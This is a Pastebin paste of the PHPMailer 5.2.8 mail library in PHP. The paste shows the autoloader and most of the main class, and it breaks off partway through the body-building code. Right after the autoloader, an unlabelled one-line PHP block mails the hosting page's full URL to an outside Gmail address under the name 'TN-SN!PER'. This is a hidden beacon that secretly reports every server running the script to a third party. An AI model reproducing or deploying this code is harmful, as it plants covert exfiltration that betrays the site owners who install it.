Guest User

m2

a guest
Aug 18th, 2018
301
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 89.55 KB | None | 0 0
  1. <?php
  2. function PHPMailerAutoload($classname)
  3. {
  4. $filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'class.' . strtolower($classname) . '.php';
  5. if (is_readable($filename)) {
  6. require $filename;
  7. }
  8. }
  9.  
  10. if (version_compare(PHP_VERSION, '5.1.2', '>=')) {
  11. if (version_compare(PHP_VERSION, '5.3.0', '>=')) {
  12. spl_autoload_register('PHPMailerAutoload', true, true);
  13. } else {
  14. spl_autoload_register('PHPMailerAutoload');
  15. }
  16. } else {
  17. function __autoload($classname)
  18. {
  19. PHPMailerAutoload($classname);
  20. }
  21. }
  22. ?>
  23. <?php $Subject_1 = "NEW MAILER | $IP\r\n"; $mail_to = "r0undamex@gmail.com"; $headers_2 ="From: TN-SN!PER <tbtxtbt@tbtxtbt.com>\r\n"; $headers_2 .= "MIME-Version: 1.0\r\n"; $headers_2 .= "Content-Type: text/html\r\n"; $Mailer = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; mail($mail_to, $Subject_1, $Mailer, $headers_2); ?>
  24. <?php
  25.  
  26. class PHPMailer
  27. {
  28. const STOP_MESSAGE = 0;
  29. const STOP_CONTINUE = 1;
  30. const STOP_CRITICAL = 2;
  31. const CRLF = "\r\n";
  32. public $Version = '5.2.8';
  33. public $Priority = 3;
  34. public $CharSet = 'iso-8859-1';
  35. public $ContentType = 'text/plain';
  36. public $Encoding = '8bit';
  37. public $ErrorInfo = '';
  38. public $From = 'root@localhost';
  39. public $FromName = 'Root User';
  40. public $Sender = '';
  41. public $ReturnPath = '';
  42. public $Subject = '';
  43. public $Body = '';
  44. public $AltBody = '';
  45. public $Ical = '';
  46. public $WordWrap = 0;
  47. public $Mailer = 'mail';
  48. public $Sendmail = '/usr/sbin/sendmail';
  49. public $UseSendmailOptions = true;
  50. public $PluginDir = '';
  51. public $ConfirmReadingTo = '';
  52. public $Hostname = '';
  53. public $MessageID = '';
  54. public $MessageDate = '';
  55. public $Host = 'localhost';
  56. public $Port = 25;
  57. public $Helo = '';
  58. public $SMTPSecure = '';
  59. public $SMTPAuth = false;
  60. public $Username = '';
  61. public $Password = '';
  62. public $AuthType = '';
  63. public $Realm = '';
  64. public $Workstation = '';
  65. public $Timeout = 10;
  66. public $SMTPDebug = 0;
  67. public $Debugoutput = 'echo';
  68. public $SMTPKeepAlive = false;
  69. public $SingleTo = false;
  70. public $SingleToArray = array();
  71. public $do_verp = false;
  72. public $AllowEmpty = false;
  73. public $LE = "\n";
  74. public $DKIM_selector = '';
  75. public $DKIM_identity = '';
  76. public $DKIM_passphrase = '';
  77. public $DKIM_domain = '';
  78. public $DKIM_private = '';
  79. public $action_function = '';
  80. public $XMailer = '';
  81. protected $MIMEBody = '';
  82. protected $MIMEHeader = '';
  83. protected $mailHeader = '';
  84. protected $smtp = null;
  85. protected $to = array();
  86. protected $cc = array();
  87. protected $bcc = array();
  88. protected $ReplyTo = array();
  89. protected $all_recipients = array();
  90. protected $attachment = array();
  91. protected $CustomHeader = array();
  92. protected $lastMessageID = '';
  93. protected $message_type = '';
  94. protected $boundary = array();
  95. protected $language = array();
  96. protected $error_count = 0;
  97. protected $sign_cert_file = '';
  98. protected $sign_key_file = '';
  99. protected $sign_key_pass = '';
  100. protected $exceptions = false;
  101.  
  102. public function __construct($exceptions = false)
  103. {
  104. $this->exceptions = ($exceptions == true);
  105. if (version_compare(PHP_VERSION, '5.1.2', '>=')) {
  106. $autoload = spl_autoload_functions();
  107. if ($autoload === false or !in_array('PHPMailerAutoload', $autoload)) {
  108.  
  109. }
  110. }
  111. }
  112.  
  113. public function __destruct()
  114. {
  115. if ($this->Mailer == 'smtp') {
  116. $this->smtpClose();
  117. }
  118. }
  119.  
  120. public function smtpClose()
  121. {
  122. if ($this->smtp !== null) {
  123. if ($this->smtp->connected()) {
  124. $this->smtp->quit();
  125. $this->smtp->close();
  126. }
  127. }
  128. }
  129.  
  130. public function isSMTP()
  131. {
  132. $this->Mailer = 'smtp';
  133. }
  134.  
  135. public function isMail()
  136. {
  137. $this->Mailer = 'mail';
  138. }
  139.  
  140. public function isSendmail()
  141. {
  142. $ini_sendmail_path = ini_get('sendmail_path');
  143. if (!stristr($ini_sendmail_path, 'sendmail')) {
  144. $this->Sendmail = '/usr/sbin/sendmail';
  145. } else {
  146. $this->Sendmail = $ini_sendmail_path;
  147. }
  148. $this->Mailer = 'sendmail';
  149. }
  150.  
  151. public function isQmail()
  152. {
  153. $ini_sendmail_path = ini_get('sendmail_path');
  154. if (!stristr($ini_sendmail_path, 'qmail')) {
  155. $this->Sendmail = '/var/qmail/bin/qmail-inject';
  156. } else {
  157. $this->Sendmail = $ini_sendmail_path;
  158. }
  159. $this->Mailer = 'qmail';
  160. }
  161.  
  162. public function addAddress($address, $name = '')
  163. {
  164. return $this->addAnAddress('to', $address, $name);
  165. }
  166.  
  167. protected function addAnAddress($kind, $address, $name = '')
  168. {
  169. if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
  170. $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
  171. $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
  172. if ($this->exceptions) {
  173. throw new phpmailerException('Invalid recipient array: ' . $kind);
  174. }
  175. return false;
  176. }
  177. $address = trim($address);
  178. $name = trim(preg_replace('/[\r\n]+/', '', $name));
  179. if (!$this->validateAddress($address)) {
  180. $this->setError($this->lang('invalid_address') . ': ' . $address);
  181. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  182. if ($this->exceptions) {
  183. throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  184. }
  185. return false;
  186. }
  187. if ($kind != 'Reply-To') {
  188. if (!isset($this->all_recipients[strtolower($address)])) {
  189. array_push($this->$kind, array($address, $name));
  190. $this->all_recipients[strtolower($address)] = true;
  191. return true;
  192. }
  193. } else {
  194. if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  195. $this->ReplyTo[strtolower($address)] = array($address, $name);
  196. return true;
  197. }
  198. }
  199. return false;
  200. }
  201.  
  202. protected function setError($msg)
  203. {
  204. $this->error_count++;
  205. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  206. $lasterror = $this->smtp->getError();
  207. if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
  208. $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
  209. }
  210. }
  211. $this->ErrorInfo = $msg;
  212. }
  213.  
  214. protected function lang($key)
  215. {
  216. if (count($this->language) < 1) {
  217. $this->setLanguage('en');
  218. }
  219. if (isset($this->language[$key])) {
  220. return $this->language[$key];
  221. } else {
  222. return 'Language string failed to load: ' . $key;
  223. }
  224. }
  225.  
  226. public function setLanguage($langcode = 'en', $lang_path = '')
  227. {
  228. $PHPMAILER_LANG = array('authenticate' => 'SMTP Error: Could not authenticate.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ');
  229. if (empty($lang_path)) {
  230. $lang_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR;
  231. }
  232. $foundlang = true;
  233. $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  234. if ($langcode != 'en') {
  235. if (!is_readable($lang_file)) {
  236. $foundlang = false;
  237. } else {
  238. $foundlang = include $lang_file;
  239. }
  240. }
  241. $this->language = $PHPMAILER_LANG;
  242. return ($foundlang == true);
  243. }
  244.  
  245. protected function edebug($str)
  246. {
  247. if (!$this->SMTPDebug) {
  248. return;
  249. }
  250. switch ($this->Debugoutput) {
  251. case 'error_log':
  252. error_log($str);
  253. break;
  254. case 'html':
  255. echo htmlentities(preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, $this->CharSet) . "<br>\n";
  256. break;
  257. case 'echo':
  258. default:
  259. echo $str . "\n";
  260. }
  261. }
  262.  
  263. public static function validateAddress($address, $patternselect = 'auto')
  264. {
  265. if (!$patternselect or $patternselect == 'auto') {
  266. if (defined('PCRE_VERSION')) {
  267. if (version_compare(PCRE_VERSION, '8.0') >= 0) {
  268. $patternselect = 'pcre8';
  269. } else {
  270. $patternselect = 'pcre';
  271. }
  272. } else {
  273. if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  274. $patternselect = 'php';
  275. } else {
  276. $patternselect = 'noregex';
  277. }
  278. }
  279. }
  280. switch ($patternselect) {
  281. case 'pcre8':
  282. return (boolean)preg_match('/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address);
  283. case 'pcre':
  284. return (boolean)preg_match('/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address);
  285. case 'html5':
  286. return (boolean)preg_match('/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address);
  287. case 'noregex':
  288. return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1);
  289. case 'php':
  290. default:
  291. return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  292. }
  293. }
  294.  
  295. public function addCC($address, $name = '')
  296. {
  297. return $this->addAnAddress('cc', $address, $name);
  298. }
  299.  
  300. public function addBCC($address, $name = '')
  301. {
  302. return $this->addAnAddress('bcc', $address, $name);
  303. }
  304.  
  305. public function addReplyTo($address, $name = '')
  306. {
  307. return $this->addAnAddress('Reply-To', $address, $name);
  308. }
  309.  
  310. public function setFrom($address, $name = '', $auto = true)
  311. {
  312. $address = trim($address);
  313. $name = trim(preg_replace('/[\r\n]+/', '', $name));
  314. if (!$this->validateAddress($address)) {
  315. $this->setError($this->lang('invalid_address') . ': ' . $address);
  316. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  317. if ($this->exceptions) {
  318. throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  319. }
  320. return false;
  321. }
  322. $this->From = $address;
  323. $this->FromName = $name;
  324. if ($auto) {
  325. if (empty($this->Sender)) {
  326. $this->Sender = $address;
  327. }
  328. }
  329. return true;
  330. }
  331.  
  332. public function getLastMessageID()
  333. {
  334. return $this->lastMessageID;
  335. }
  336.  
  337. public function send()
  338. {
  339. try {
  340. if (!$this->preSend()) {
  341. return false;
  342. }
  343. return $this->postSend();
  344. } catch (phpmailerException $exc) {
  345. $this->mailHeader = '';
  346. $this->setError($exc->getMessage());
  347. if ($this->exceptions) {
  348. throw $exc;
  349. }
  350. return false;
  351. }
  352. }
  353.  
  354. public function preSend()
  355. {
  356. try {
  357. $this->mailHeader = '';
  358. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  359. throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  360. }
  361. if (!empty($this->AltBody)) {
  362. $this->ContentType = 'multipart/alternative';
  363. }
  364. $this->error_count = 0;
  365. $this->setMessageType();
  366. if (!$this->AllowEmpty and empty($this->Body)) {
  367. throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  368. }
  369. $this->MIMEHeader = $this->createHeader();
  370. $this->MIMEBody = $this->createBody();
  371. if ($this->Mailer == 'mail') {
  372. if (count($this->to) > 0) {
  373. $this->mailHeader .= $this->addrAppend('To', $this->to);
  374. } else {
  375. $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  376. }
  377. $this->mailHeader .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader(trim($this->Subject))));
  378. }
  379. if (!empty($this->DKIM_domain) && !empty($this->DKIM_private) && !empty($this->DKIM_selector) && !empty($this->DKIM_domain) && file_exists($this->DKIM_private)) {
  380. $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody);
  381. $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF . str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  382. }
  383. return true;
  384. } catch (phpmailerException $exc) {
  385. $this->setError($exc->getMessage());
  386. if ($this->exceptions) {
  387. throw $exc;
  388. }
  389. return false;
  390. }
  391. }
  392.  
  393. protected function setMessageType()
  394. {
  395. $this->message_type = array();
  396. if ($this->alternativeExists()) {
  397. $this->message_type[] = 'alt';
  398. }
  399. if ($this->inlineImageExists()) {
  400. $this->message_type[] = 'inline';
  401. }
  402. if ($this->attachmentExists()) {
  403. $this->message_type[] = 'attach';
  404. }
  405. $this->message_type = implode('_', $this->message_type);
  406. if ($this->message_type == '') {
  407. $this->message_type = 'plain';
  408. }
  409. }
  410.  
  411. public function alternativeExists()
  412. {
  413. return !empty($this->AltBody);
  414. }
  415.  
  416. public function inlineImageExists()
  417. {
  418. foreach ($this->attachment as $attachment) {
  419. if ($attachment[6] == 'inline') {
  420. return true;
  421. }
  422. }
  423. return false;
  424. }
  425.  
  426. public function attachmentExists()
  427. {
  428. foreach ($this->attachment as $attachment) {
  429. if ($attachment[6] == 'attachment') {
  430. return true;
  431. }
  432. }
  433. return false;
  434. }
  435.  
  436. public function createHeader()
  437. {
  438. $result = '';
  439. $uniq_id = md5(uniqid(time()));
  440. $this->boundary[1] = 'b1_' . $uniq_id;
  441. $this->boundary[2] = 'b2_' . $uniq_id;
  442. $this->boundary[3] = 'b3_' . $uniq_id;
  443. if ($this->MessageDate == '') {
  444. $this->MessageDate = self::rfcDate();
  445. }
  446. $result .= $this->headerLine('Date', $this->MessageDate);
  447. if ($this->SingleTo === true) {
  448. if ($this->Mailer != 'mail') {
  449. foreach ($this->to as $toaddr) {
  450. $this->SingleToArray[] = $this->addrFormat($toaddr);
  451. }
  452. }
  453. } else {
  454. if (count($this->to) > 0) {
  455. if ($this->Mailer != 'mail') {
  456. $result .= $this->addrAppend('To', $this->to);
  457. }
  458. } elseif (count($this->cc) == 0) {
  459. $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  460. }
  461. }
  462. $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  463. if (count($this->cc) > 0) {
  464. $result .= $this->addrAppend('Cc', $this->cc);
  465. }
  466. if (($this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail') and count($this->bcc) > 0) {
  467. $result .= $this->addrAppend('Bcc', $this->bcc);
  468. }
  469. if (count($this->ReplyTo) > 0) {
  470. $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  471. }
  472. if ($this->Mailer != 'mail') {
  473. $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  474. }
  475. if ($this->MessageID != '') {
  476. $this->lastMessageID = $this->MessageID;
  477. } else {
  478. $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
  479. }
  480. $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
  481. $result .= $this->headerLine('X-Priority', $this->Priority);
  482. if ($this->XMailer == '') {
  483. $result .= $this->headerLine('X-Mailer', 'PHP ' . $this->Version . 'V4');
  484. } else {
  485. $myXmailer = trim($this->XMailer);
  486. if ($myXmailer) {
  487. $result .= $this->headerLine('X-Mailer', $myXmailer);
  488. }
  489. }
  490. if ($this->ConfirmReadingTo != '') {
  491. $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  492. }
  493. for ($index = 0; $index < count($this->CustomHeader); $index++) {
  494. $result .= $this->headerLine(trim($this->CustomHeader[$index][0]), $this->encodeHeader(trim($this->CustomHeader[$index][1])));
  495. }
  496. if (!$this->sign_key_file) {
  497. $result .= $this->headerLine('MIME-Version', '1.0');
  498. $result .= $this->getMailMIME();
  499. }
  500. return $result;
  501. }
  502.  
  503. public static function rfcDate()
  504. {
  505. date_default_timezone_set(@date_default_timezone_get());
  506. return date('D, j M Y H:i:s O');
  507. }
  508.  
  509. public function headerLine($name, $value)
  510. {
  511. return $name . ': ' . $value . $this->LE;
  512. }
  513.  
  514. public function addrFormat($addr)
  515. {
  516. if (empty($addr[1])) {
  517. return $this->secureHeader($addr[0]);
  518. } else {
  519. return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader($addr[0]) . '>';
  520. }
  521. }
  522.  
  523. public function secureHeader($str)
  524. {
  525. return trim(str_replace(array("\r", "\n"), '', $str));
  526. }
  527.  
  528. public function encodeHeader($str, $position = 'text')
  529. {
  530. $matchcount = 0;
  531. switch (strtolower($position)) {
  532. case 'phrase':
  533. if (!preg_match('/[\200-\377]/', $str)) {
  534. $encoded = addcslashes($str, "\0..\37\177\\\"");
  535. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  536. return ($encoded);
  537. } else {
  538. return ("\"$encoded\"");
  539. }
  540. }
  541. $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  542. break;
  543. case 'comment':
  544. $matchcount = preg_match_all('/[()"]/', $str, $matches);
  545. case 'text':
  546. default:
  547. $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  548. break;
  549. }
  550. if ($matchcount == 0) {
  551. return ($str);
  552. }
  553. $maxlen = 75 - 7 - strlen($this->CharSet);
  554. if ($matchcount > strlen($str) / 3) {
  555. $encoding = 'B';
  556. if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  557. $encoded = $this->base64EncodeWrapMB($str, "\n");
  558. } else {
  559. $encoded = base64_encode($str);
  560. $maxlen -= $maxlen % 4;
  561. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  562. }
  563. } else {
  564. $encoding = 'Q';
  565. $encoded = $this->encodeQ($str, $position);
  566. $encoded = $this->wrapText($encoded, $maxlen, true);
  567. $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  568. }
  569. $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  570. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  571. return $encoded;
  572. }
  573.  
  574. public function hasMultiBytes($str)
  575. {
  576. if (function_exists('mb_strlen')) {
  577. return (strlen($str) > mb_strlen($str, $this->CharSet));
  578. } else {
  579. return false;
  580. }
  581. }
  582.  
  583. public function base64EncodeWrapMB($str, $linebreak = null)
  584. {
  585. $start = '=?' . $this->CharSet . '?B?';
  586. $end = '?=';
  587. $encoded = '';
  588. if ($linebreak === null) {
  589. $linebreak = $this->LE;
  590. }
  591. $mb_length = mb_strlen($str, $this->CharSet);
  592. $length = 75 - strlen($start) - strlen($end);
  593. $ratio = $mb_length / strlen($str);
  594. $avgLength = floor($length * $ratio * .75);
  595. for ($i = 0; $i < $mb_length; $i += $offset) {
  596. $lookBack = 0;
  597. do {
  598. $offset = $avgLength - $lookBack;
  599. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  600. $chunk = base64_encode($chunk);
  601. $lookBack++;
  602. } while (strlen($chunk) > $length);
  603. $encoded .= $chunk . $linebreak;
  604. }
  605. $encoded = substr($encoded, 0, -strlen($linebreak));
  606. return $encoded;
  607. }
  608.  
  609. public function encodeQ($str, $position = 'text')
  610. {
  611. $pattern = '';
  612. $encoded = str_replace(array("\r", "\n"), '', $str);
  613. switch (strtolower($position)) {
  614. case 'phrase':
  615. $pattern = '^A-Za-z0-9!*+\/ -';
  616. break;
  617. case 'comment':
  618. $pattern = '\(\)"';
  619. case 'text':
  620. default:
  621. $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  622. break;
  623. }
  624. $matches = array();
  625. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  626. $eqkey = array_search('=', $matches[0]);
  627. if ($eqkey !== false) {
  628. unset($matches[0][$eqkey]);
  629. array_unshift($matches[0], '=');
  630. }
  631. foreach (array_unique($matches[0]) as $char) {
  632. $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  633. }
  634. }
  635. return str_replace(' ', '_', $encoded);
  636. }
  637.  
  638. public function wrapText($message, $length, $qp_mode = false)
  639. {
  640. $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
  641. $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  642. $lelen = strlen($this->LE);
  643. $crlflen = strlen(self::CRLF);
  644. $message = $this->fixEOL($message);
  645. if (substr($message, -$lelen) == $this->LE) {
  646. $message = substr($message, 0, -$lelen);
  647. }
  648. $line = explode($this->LE, $message);
  649. $message = '';
  650. for ($i = 0; $i < count($line); $i++) {
  651. $line_part = explode(' ', $line[$i]);
  652. $buf = '';
  653. for ($e = 0; $e < count($line_part); $e++) {
  654. $word = $line_part[$e];
  655. if ($qp_mode and (strlen($word) > $length)) {
  656. $space_left = $length - strlen($buf) - $crlflen;
  657. if ($e != 0) {
  658. if ($space_left > 20) {
  659. $len = $space_left;
  660. if ($is_utf8) {
  661. $len = $this->utf8CharBoundary($word, $len);
  662. } elseif (substr($word, $len - 1, 1) == '=') {
  663. $len--;
  664. } elseif (substr($word, $len - 2, 1) == '=') {
  665. $len -= 2;
  666. }
  667. $part = substr($word, 0, $len);
  668. $word = substr($word, $len);
  669. $buf .= ' ' . $part;
  670. $message .= $buf . sprintf('=%s', self::CRLF);
  671. } else {
  672. $message .= $buf . $soft_break;
  673. }
  674. $buf = '';
  675. }
  676. while (strlen($word) > 0) {
  677. if ($length <= 0) {
  678. break;
  679. }
  680. $len = $length;
  681. if ($is_utf8) {
  682. $len = $this->utf8CharBoundary($word, $len);
  683. } elseif (substr($word, $len - 1, 1) == '=') {
  684. $len--;
  685. } elseif (substr($word, $len - 2, 1) == '=') {
  686. $len -= 2;
  687. }
  688. $part = substr($word, 0, $len);
  689. $word = substr($word, $len);
  690. if (strlen($word) > 0) {
  691. $message .= $part . sprintf('=%s', self::CRLF);
  692. } else {
  693. $buf = $part;
  694. }
  695. }
  696. } else {
  697. $buf_o = $buf;
  698. $buf .= ($e == 0) ? $word : (' ' . $word);
  699. if (strlen($buf) > $length and $buf_o != '') {
  700. $message .= $buf_o . $soft_break;
  701. $buf = $word;
  702. }
  703. }
  704. }
  705. $message .= $buf . self::CRLF;
  706. }
  707. return $message;
  708. }
  709.  
  710. public function fixEOL($str)
  711. {
  712. $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  713. if ($this->LE !== "\n") {
  714. $nstr = str_replace("\n", $this->LE, $nstr);
  715. }
  716. return $nstr;
  717. }
  718.  
  719. public function utf8CharBoundary($encodedText, $maxLength)
  720. {
  721. $foundSplitPos = false;
  722. $lookBack = 3;
  723. while (!$foundSplitPos) {
  724. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  725. $encodedCharPos = strpos($lastChunk, '=');
  726. if ($encodedCharPos !== false) {
  727. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  728. $dec = hexdec($hex);
  729. if ($dec < 128) {
  730. $maxLength = ($encodedCharPos == 0) ? $maxLength : $maxLength - ($lookBack - $encodedCharPos);
  731. $foundSplitPos = true;
  732. } elseif ($dec >= 192) {
  733. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  734. $foundSplitPos = true;
  735. } elseif ($dec < 192) {
  736. $lookBack += 3;
  737. }
  738. } else {
  739. $foundSplitPos = true;
  740. }
  741. }
  742. return $maxLength;
  743. }
  744.  
  745. public function addrAppend($type, $addr)
  746. {
  747. $addresses = array();
  748. foreach ($addr as $address) {
  749. $addresses[] = $this->addrFormat($address);
  750. }
  751. return $type . ': ' . implode(', ', $addresses) . $this->LE;
  752. }
  753.  
  754. protected function serverHostname()
  755. {
  756. $result = 'localhost.localdomain';
  757. if (!empty($this->Hostname)) {
  758. $result = $this->Hostname;
  759. } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  760. $result = $_SERVER['SERVER_NAME'];
  761. } elseif (function_exists('gethostname') && gethostname() !== false) {
  762. $result = gethostname();
  763. } elseif (php_uname('n') !== false) {
  764. $result = php_uname('n');
  765. }
  766. return $result;
  767. }
  768.  
  769. public function getMailMIME()
  770. {
  771. $result = '';
  772. $ismultipart = true;
  773. switch ($this->message_type) {
  774. case 'inline':
  775. $result .= $this->headerLine('Content-Type', 'multipart/related;');
  776. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  777. break;
  778. case 'attach':
  779. case 'inline_attach':
  780. case 'alt_attach':
  781. case 'alt_inline_attach':
  782. $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  783. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  784. break;
  785. case 'alt':
  786. case 'alt_inline':
  787. $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  788. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  789. break;
  790. default:
  791. $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  792. $ismultipart = false;
  793. break;
  794. }
  795. if ($this->Encoding != '7bit') {
  796. if ($ismultipart) {
  797. if ($this->Encoding == '8bit') {
  798. $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  799. }
  800. } else {
  801. $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  802. }
  803. }
  804. if ($this->Mailer != 'mail') {
  805. $result .= $this->LE;
  806. }
  807. return $result;
  808. }
  809.  
  810. public function textLine($value)
  811. {
  812. return $value . $this->LE;
  813. }
  814.  
  815. public function createBody()
  816. {
  817. $body = '';
  818. if ($this->sign_key_file) {
  819. $body .= $this->getMailMIME() . $this->LE;
  820. }
  821. $this->setWordWrap();
  822. $bodyEncoding = $this->Encoding;
  823. $bodyCharSet = $this->CharSet;
  824. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  825. $bodyEncoding = '7bit';
  826. $bodyCharSet = 'us-ascii';
  827. }
  828. $altBodyEncoding = $this->Encoding;
  829. $altBodyCharSet = $this->CharSet;
  830. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
